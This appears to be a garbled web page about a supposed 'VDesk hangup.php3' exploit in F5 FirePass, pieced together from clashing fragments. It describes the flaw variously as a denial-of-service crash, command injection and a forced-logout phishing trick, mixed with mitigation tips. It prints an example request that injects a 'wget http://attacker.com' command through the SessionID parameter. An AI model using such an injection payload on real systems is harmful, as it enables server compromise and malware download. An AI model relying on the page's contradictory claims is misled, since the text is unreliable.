Exploit [verified] - Vdesk Hangupphp3
Malicious actors sometimes try to abuse session-termination files like hangup.php3 to force target enterprise users out of active, authenticated sessions. By forcing a logout via a malicious script or an embedded image tag, an attacker can create a race condition. When the legitimate user immediately attempts to re-authenticate, the attacker can leverage phishing forms or man-in-the-middle tools to harvest credentials during the fresh login cycle. Log Analysis: Distinguishing Noise from Attack
Understanding the VDesk hangupphp3 Exploit: Analysis and Mitigation
The exploit involves sending a specially crafted request to the Vdesk server, which causes the software to crash. This can be done using a simple HTTP request, making it easy for attackers to launch the exploit. Once the Vdesk service is crashed, the attacker can potentially gain access to the system or disrupt its operation. vdesk hangupphp3 exploit
GET /vdesk/hangup.php3?SessionID=1234;%20wget%20http://attacker.com HTTP/1.1 Host: target-vdesk-server.com User-Agent: Mozilla/5.0 Use code with caution. In this scenario: The script reads the SessionID . The semicolon finishes the intended internal command. The server executes wget to download malicious software.
The VDesk Hangup PHP3 exploit is a critical vulnerability that can have severe consequences if exploited. Administrators should take immediate action to protect against this exploit by upgrading to a patched version of VDesk and implementing additional security measures. GET /vdesk/hangup
to redirect unauthorized or invalid host requests specifically to /vdesk/hangup.php3 to ensure the session is safely discarded. Exploit-DB Further Exploration Review historical F5 FirePass vulnerabilities
: The client issues an HTTP request containing a Host header that does not match the strict configuration profiles mapped to the target APM Virtual Server. The Anatomy of the "Exploit" and Automated Scans causing a denial-of-service (DoS) condition.
Locate the hangup.php3 script and sanitize the incoming parameters. Ensure that any input passed to execution functions is strictly validated against an allowlist, or completely remove the system calls if they are unnecessary.
Older versions (e.g., FirePass 6.0.2 hotfix 3) were found to be prone to CSRF and input sanitization issues.
The Vdesk Hangup PHP 3 exploit is a vulnerability in the Vdesk remote desktop software that allows an attacker to crash the Vdesk service, causing a denial-of-service (DoS) condition. The exploit takes advantage of a flaw in the software's handling of certain requests, specifically those related to the "hangup" feature.
While the specific hangupphp3 file is largely a relic of older systems, the logic behind the exploit remains a top threat (A03:2021 – Injection in the OWASP Top 10). Here is how to prevent similar issues:
